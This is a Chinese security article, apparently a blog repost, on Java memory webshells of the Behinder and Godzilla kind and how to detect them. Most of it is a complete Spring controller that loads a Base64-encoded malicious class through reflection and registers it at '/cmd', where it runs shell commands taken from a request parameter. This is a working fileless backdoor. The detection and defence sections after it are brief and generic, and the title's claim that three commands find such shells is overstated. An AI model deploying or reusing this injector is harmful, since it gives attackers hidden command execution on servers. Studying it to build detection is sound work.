渗透测试 | 如何用三条命令查杀冰蝎和哥斯拉内存马
字数 1135 2025-08-20 18:18:10
内存马查杀技术详解:以冰蝎和哥斯拉为例
一、内存马概述
内存马(Memory Shell)是一种驻留在服务器内存中的恶意程序,不依赖文件系统,通过动态注入技术实现持久化攻击。主要特点包括:
- 无文件落地,传统杀毒软件难以检测
- 通过反射等技术动态修改内存中的类
- 通常伪装成Web组件(Filter、Servlet、Controller等)
二、内存马注入技术
1. 动态注入Web组件
通过创建并注册以下Java Web组件实现:
- Listener
- Filter
- Servlet
- Valve
- Spring Controller
2. 通过Instrument修改内存class
使用Java Instrumentation API直接修改已加载类的字节码
三、Spring内存马注入实例分析
1. 注入Spring Controller示例代码
package com.example.testspring;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import org.springframework.web.util.pattern.PathPatternParser;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Base64;
@RestController
public class TestController {
@GetMapping("/add_controller")
public String hello() {
try {
String className = "com.example.spring.InjectControl";
// 加载恶意类的Base64编码字节码
String b64 = "yv66vgAAADQAiQoAIQBFCABGCwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGILAEkAZgcAZwcAaAcAaQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAiTGNvbS9leGFtcGxlL3NwcmluZy9JbmplY3RDb250cm9sOwEABWxvZ2luAQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAUwcAagcAUgcAWQcAZwEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAIL2Zhdmljb24BAApTb3VyY2VGaWxlAQASSW5qZWN0Q29udHJvbC5qYXZhAQArTG9yZy9zcHJpbmdmcmFtZXdvcmsvc3RlcmVvdHlwZS9Db250cm9sbGVyOwwAIgAjAQADY21kBwBrDABsAG0HAG4MAG8AcAEAAAEAB29zLm5hbWUHAHEMAHIAbQwAcwB0AQADd2luDAB1AHYBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAiAHcBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwAeAB5BwB6DAB7AHwMACIAfQEAAlxBDAB+AH8MAIAAgQwAggB0DACDACMHAGoMAIQAhQwAhgAjDACHAIgBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAgY29tL2V4YW1wbGUvc3ByaW5nL0luamVjdENvbnRyb2wBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9QcmludFdyaXRlcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEACXNlbmRFcnJvcgEABChJKVYAIQAgACEAAAAAAAIAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAKACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAagABgAIAAAAsysSArkAAwIATiy5AAQBADoELcYAkxIFOgUSBrgAB7YACBIJtgAKmQAhuwALWQa9AAxZAxINU1kEEg5TWQUtU7cADzoGpwAeuwALWQa9AAxZAxIQU1kEEhFTWQUtU7cADzoGuwASWRkGtgATtgAUtwAVEha2ABc6BxkHtgAYmQALGQe2ABmnAAUZBToFGQe2ABoZBBkFtgAbGQS2ABwZBLYAHacADCwRAZS5AB4CAKcABE6xAAEAAACuALEAHwADACUAAABKABIAAAAOAAkADwARABAAFQARABkAEwApABQARwAWAGIAGAB4ABkAjAAaAJEAGwCYABwAnQAdAKIAHgClAB8ArgAiALEAIQCyACMAJgAAAFwACQBEAAMAKwAsAAYAGQCJAC0ALgAFAGIAQAArACwABgB4ACoALwAwAAcACQClADEALgADABEAnQAyADMABAAAALMAJwAoAAAAAACzADQANQABAAAAswA2ADcAAgA4AAAAKQAI/gBHBwA5BwA6BwA5/AAaBwA7/AAlBwA8QQcAOfgAGvkAGEIHAD0AAD4AAAAOAAEAPwABAEBbAAFzAEEAAgBCAAAAAgBDAD4AAAAGAAEARAAA";
byte[] bytes = Base64.getDecoder().decode(b64);
// 使用ClassLoader动态加载恶意类
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m0.setAccessible(true);
try {
m0.invoke(classLoader, className, bytes, 0, bytes.length);
}catch (Exception e){ }
// 获取Spring上下文
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 通过反射获得自定义controller中唯一的Method对象
Method method = (classLoader.loadClass(className).getDeclaredMethods())[0];
// 在内存中动态注册controller
Class<?> class1 = Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");
Constructor<?> method1 = class1.getDeclaredConstructor(String.class, PathPatternsRequestCondition.class, PatternsRequestCondition.class, RequestMethodsRequestCondition.class, ParamsRequestCondition.class, HeadersRequestCondition.class, ConsumesRequestCondition.class, ProducesRequestCondition.class, RequestConditionHolder.class, RequestMappingInfo.BuilderConfiguration.class);
method1.setAccessible(true);
RequestMappingInfo info = (RequestMappingInfo) method1.newInstance(
"test",
new PathPatternsRequestCondition(new PathPatternParser(),"/cmd"),
null,
new RequestMethodsRequestCondition(RequestMethod.GET),
new ParamsRequestCondition(),
new HeadersRequestCondition(),
new ConsumesRequestCondition(),
new ProducesRequestCondition(),
new RequestConditionHolder(null),
new RequestMappingInfo.BuilderConfiguration()
);
r.registerMapping(info, classLoader.loadClass(className).newInstance(), method);
return "success";
} catch (Exception e) {
return e.getMessage();
}
}
}
2. 关键注入步骤解析
-
动态加载恶意类:
- 使用Base64编码的恶意类字节码
- 通过ClassLoader.defineClass方法动态加载
-
获取Spring上下文:
- 通过RequestContextHolder获取当前请求
- 获取WebApplicationContext和RequestMappingHandlerMapping
-
构造RequestMappingInfo:
- 使用反射构造Spring MVC的映射信息
- 设置访问路径为
/cmd
-
注册恶意Controller:
- 将恶意类注册为Spring Controller
- 映射到特定URL路径
四、内存马查杀技术
1. 三条关键查杀命令
命令1:查找可疑的Java进程
ps aux | grep java | grep -v grep
- 检查异常Java进程
- 关注高CPU/内存占用的进程
命令2:检查网络连接
netstat -antp | grep java
- 查找异常外连IP和端口
- 冰蝎/哥斯拉通常会有持续连接
命令3:检查Java线程堆栈
jstack <pid> | grep -A 20 "http"
- 分析Java线程调用栈
- 查找可疑的HTTP处理线程
2. 进阶查杀技术
(1) 检查Web容器组件
// 检查Filter
Enumeration<String> filters = request.getServletContext().getFilterRegistrations().keys();
while (filters.hasMoreElements()) {
String filterName = filters.nextElement();
System.out.println("Filter: " + filterName);
}
// 检查Servlet
Map<String, ? extends ServletRegistration> servlets = request.getServletContext().getServletRegistrations();
for (String servletName : servlets.keySet()) {
System.out.println("Servlet: " + servletName);
}
(2) 检查Spring MVC映射
RequestMappingHandlerMapping rmhp = applicationContext.getBean(RequestMappingHandlerMapping.class);
Map<RequestMappingInfo, HandlerMethod> handlerMethods = rmhp.getHandlerMethods();
for (Map.Entry<RequestMappingInfo, HandlerMethod> entry : handlerMethods.entrySet()) {
System.out.println("Mapping: " + entry.getKey() + " -> " + entry.getValue());
}
(3) 内存扫描工具
- Arthas
- JavaMelody
- Greys
五、防御措施
-
运行时防护:
- 使用RASP(运行时应用自我保护)技术
- 监控关键API调用(如ClassLoader.defineClass)
-
代码审计:
- 定期审计Web应用代码
- 检查可疑的反射调用
-
权限控制:
- 限制Java进程权限
- 使用SecurityManager
-
监控告警:
- 监控异常URL访问
- 设置内存变化告警
六、总结
内存马查杀关键在于:
- 理解内存马注入原理
- 掌握Java运行时检测技术
- 熟悉Web容器内部机制
- 使用专业工具辅助分析
通过结合命令行工具和代码级检测,可以有效发现和清除冰蝎、哥斯拉等内存马威胁。